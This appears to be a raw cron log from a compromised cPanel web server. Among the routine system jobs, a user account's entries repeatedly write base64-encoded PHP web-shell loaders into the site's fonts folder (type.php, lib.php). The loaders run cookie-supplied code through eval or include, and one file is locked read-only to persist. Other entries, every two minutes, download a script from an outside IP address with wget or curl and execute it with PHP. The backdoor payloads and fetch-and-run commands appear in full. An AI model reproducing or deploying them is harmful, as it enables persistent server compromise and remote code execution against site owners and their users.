Aug 31 07:37:01 ip-184-168-122-23 CROND[23144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:37:01 ip-184-168-122-23 CROND[23146]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:38:01 ip-184-168-122-23 CROND[23267]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:38:01 ip-184-168-122-23 CROND[23271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:38:01 ip-184-168-122-23 CROND[23270]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 07:38:01 ip-184-168-122-23 CROND[23272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:38:01 ip-184-168-122-23 CROND[23269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:39:01 ip-184-168-122-23 CROND[23458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:39:01 ip-184-168-122-23 CROND[23460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:39:01 ip-184-168-122-23 CROND[23461]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 07:39:01 ip-184-168-122-23 CROND[23462]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:39:01 ip-184-168-122-23 CROND[23463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:40:01 ip-184-168-122-23 CROND[23566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:40:01 ip-184-168-122-23 CROND[23567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:40:01 ip-184-168-122-23 CROND[23568]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 07:40:01 ip-184-168-122-23 CROND[23571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:40:01 ip-184-168-122-23 CROND[23572]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 07:40:01 ip-184-168-122-23 CROND[23575]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 07:40:01 ip-184-168-122-23 CROND[23573]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:40:01 ip-184-168-122-23 CROND[23574]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 07:41:01 ip-184-168-122-23 CROND[23687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:41:01 ip-184-168-122-23 CROND[23688]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:41:01 ip-184-168-122-23 CROND[23691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:41:01 ip-184-168-122-23 CROND[23693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:42:01 ip-184-168-122-23 CROND[23822]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:42:01 ip-184-168-122-23 CROND[23824]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 07:42:01 ip-184-168-122-23 CROND[23826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:42:01 ip-184-168-122-23 CROND[23827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:42:01 ip-184-168-122-23 CROND[23828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:43:01 ip-184-168-122-23 CROND[23907]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:43:01 ip-184-168-122-23 CROND[23909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:43:01 ip-184-168-122-23 CROND[23910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:43:01 ip-184-168-122-23 CROND[23911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:44:02 ip-184-168-122-23 CROND[24003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:44:02 ip-184-168-122-23 CROND[24004]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 07:44:02 ip-184-168-122-23 CROND[24007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:44:02 ip-184-168-122-23 CROND[24008]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:44:02 ip-184-168-122-23 CROND[24009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:45:01 ip-184-168-122-23 CROND[24100]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:45:01 ip-184-168-122-23 CROND[24102]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 07:45:01 ip-184-168-122-23 CROND[24104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:45:01 ip-184-168-122-23 CROND[24103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:45:01 ip-184-168-122-23 CROND[24105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:45:01 ip-184-168-122-23 CROND[24106]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 07:46:01 ip-184-168-122-23 CROND[24331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:46:01 ip-184-168-122-23 CROND[24332]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 07:46:01 ip-184-168-122-23 CROND[24335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:46:01 ip-184-168-122-23 CROND[24336]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 07:46:01 ip-184-168-122-23 CROND[24338]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:46:01 ip-184-168-122-23 CROND[24340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:46:01 ip-184-168-122-23 CROND[24337]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 07:47:01 ip-184-168-122-23 CROND[24466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:47:01 ip-184-168-122-23 CROND[24469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:47:01 ip-184-168-122-23 CROND[24467]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:47:01 ip-184-168-122-23 CROND[24468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:48:01 ip-184-168-122-23 CROND[24550]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 07:48:01 ip-184-168-122-23 CROND[24552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 07:48:01 ip-184-168-122-23 CROND[24551]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:48:01 ip-184-168-122-23 CROND[24554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 07:48:01 ip-184-168-122-23 CROND[24556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:49:01 ip-184-168-122-23 CROND[24642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 07:49:01 ip-184-168-122-23 CROND[24643]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 07:49:01 ip-184-168-122-23 CROND[24645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
